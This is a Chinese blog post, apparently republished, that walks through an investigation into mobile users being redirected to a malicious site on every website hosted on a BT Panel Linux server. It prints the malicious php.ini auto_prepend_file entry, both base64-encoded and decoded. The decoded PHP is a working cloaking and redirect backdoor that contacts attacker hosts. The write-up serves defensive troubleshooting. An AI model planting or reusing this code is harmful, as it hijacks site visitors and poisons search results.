针对Linux宝塔面板下所有网站的sitemap.xml移动端访问:百度搜索网站域名点击后跳转到恶意网站的排查思路
作者: 竹子科技 . 阅读量:1569 . 发表时间:2023-08-08 17:03:07
用户反馈用手机浏览器打开百度,搜索网站域名,点击会跳转到恶意网站。而且是服务器里所有网站都这样。
通过浏览器F12模拟手机访问,发现可以跳转,并在网络菜单中看到首页的响应内容为:
<script src=https://www.*bhu456*.com/js3.js></script>(网址前后加了“*”号)
可以确定是植入了恶意代码
开始以为是修改了网站代码,经过排查代码也未发现异常,此时用户说网站代码已经备份,只留了一个空的php首页,访问依旧会跳转。
这就说明恶意代码并没有修改网站的代码而实现跳转。
排查过程:
1、nginx虚拟主机配置文件,无异常
2、nginx的lua模块代码,无异常
3、伪静态配置,无异常
4、查php的载入模块(extension),无异常(此时是通过cat php.ini | grep extension方式查询,所以并没有发现恶意配置)
停止php-fpm服务以后,访问网站会报502,不会跳转,说明跳转还是通过php服务实现的,可以确定跟nginx及lua模块没有关系了。
查php的配置文件,最终在php.ini中找到如下配置:
auto_prepend_file ="data:;base64,PD9waHAgc2V0X3RpbWVfbGltaXQoMCk7ZXJyb3JfcmVwb3J0aW5nKDApO2hlYWRlcigiQ29udGVudC1UeXBlOiB0ZXh0L2h0bWw7Y2hhcnNldD11dGYtOCIpOyRhPSJzdHJpc3RyIjskYj0kX1NFUlZFUjtmdW5jdGlvbiBodHRwR2V0bGFpKCRjKXskZD1jdXJsX2luaXQoKTtjdXJsX3NldG9wdCgkZCxDVVJMT1BUX1VSTCwkYyk7Y3VybF9zZXRvcHQoJGQsQ1VSTE9QVF9VU0VSQUdFTlQsJ01vemlsbGEvNS4wIChjb21wYXRpYmxlOyBCYWlkdXNwaWRlci8yLjA7ICtodHRwOi8vd3d3LmJhaWR1LmNvbS9zZWFyY2gvc3BpZGVyLmh0bWwpJyk7Y3VybF9zZXRvcHQoJGQsQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUixGQUxTRSk7Y3VybF9zZXRvcHQoJGQsQ1V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KHVybCwiLnR4dCIpb3IgJGEodXJsLCIucHB0IilvciAkYSh1cmwsIi5wcHR4IilvciAkYSh1cmwsIi54bHMiKW9yICRhKHVybCwiLmNzdiIpb3IgJGEodXJsLCIuc2h0bWwiKW9yICRhKHVybCwiLnpuYiIpb3IgJGEodXJsLCIuYXNwIilvciAkYSh1cmwsIi5tZGIiKW9yICRhKHVybCwiLmh4YyIpKTtpZihwcmVnX21hdGNoKHJlZ3MsZW50KSl7aWYoYXJlYSl7ZWNobyBodHRwR2V0bGFpKHNpdGUucm9hZCk7ZXhpdDt9ZWxzZXtlY2hvIGh0dHBHZXRsYWkoImh0dHA6Ly93d3cudmZyNzg5LmNvbS91dGY4L3UucGhwIik7b2JfZmx1c2goKTtmbHVzaCgpO319aWYoYXJlYSYmcHJlZ19tYXRjaChtb2JpbGUsZW50KSl7ZWNobyBiYXNlNjRfZGVjb2RlKCdQSE5qY21sd2RDQnpjbU05YUhSMGNITTZMeTkzZDNjdVltaDFORFUyTG1OdmJTOXFjek11YW5NK1BDOXpZM0pwY0hRKycpO2V4aXQ7fT8+"
经过base64反解后,可以看到恶意代码了:
<?php set_time_limit(0); error_reporting(0); header("Content-Type: text/html;charset=utf-8"); $a = "stristr"; $b = $_SERVER; function httpGetlai($c) { $d = curl_init(); curl_setopt($d, CURLOPT_URL, $c); curl_setopt($d, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)'); curl_setopt($d, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($d, CURLOPT_SSL_VERIFYHOST, FALSE); curl_setopt($d, CURLOPT_RETURNTRANSFER, 1); curl_setopt($d, CURLOPT_HEADER, 0); $e = curl_exec($d); curl_close($d); return $e; } define('url', $b['REQUEST_URI']); define('ref', !isset($b['HTTP_REFERER']) ? '' : $b['HTTP_REFERER']); define('ent', $b['HTTP_USER_AGENT']); define('site', "http://www.vfr789.com/utf8/?"); define('road', "app?domain=".$b['HTTP_HOST']. "&path=".url. "&spider=".urlencode(ent)); define('memes', road. "&referer=".urlencode(ref)); define('regs', '@BaiduSpider|Sogou|Yisou|Haosou|360Spider@i'); define('mobile', '/phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone/'); define('area', $a(url, ".xml") or $a(url, ".fdc") or $a(url, ".one") or $a(url, ".bug") or $a(url, ".doc") or $a(url, ".love") or $a(url, ".txt") or $a(url, ".ppt") or $a(url, ".pptx") or $a(url, ".xls") or $a(url, ".csv") or $a(url, ".shtml") or $a(url, ".znb") or $a(url, ".asp") or $a(url, ".mdb") or $a(url, ".hxc")); if (preg_match(regs, ent)) { if (area) { echo httpGetlai(site.road); exit; } else { echo httpGetlai("http://www.vfr789.com/utf8/u.php"); ob_flush(); flush(); } } if (area && preg_match(mobile, ent)) { echo base64_decode('PHNjcmlwdCBzcmM9aHR0cHM6Ly93d3cuYmh1NDU2LmNvbS9qczMuanM+PC9zY3JpcHQ+'); exit; } ?>
echo base64_decode('PHNjcmlwdCBzcmM9aHR0cHM6Ly93d3cuYmh1NDU2LmNvbS9qczMuanM+PC9zY3JpcHQ+');
这段base64反解以后就是上面页面响应的内容。
<script src=https://www.*bhu456*.com/js3.js></script>(网址前后加了“*”号)
auto_prepend_file配置参数的作用:
如果希望使用require()将页眉和脚注加入到每个页面中,除了使用require函数引入外,还可以使用配置文件设置。
在配置文件php.ini中有两个选项 auto_prepend_file 和 auto_append_file。
通过这两个选项来设置页眉和脚注,可以保证它们在每个页面的前后被载入。
使用这些指令包含的文件可以像使用include()语句包含的文件一样;也就是,如果该文件不存在,将产生一个警告。
此时还未查到是怎么被修改的配置文件。
感谢www.rootop.org站长作者分享,源站链接如下:
来源: https://www.rootop.org/pages/5240.html
关键词Tags: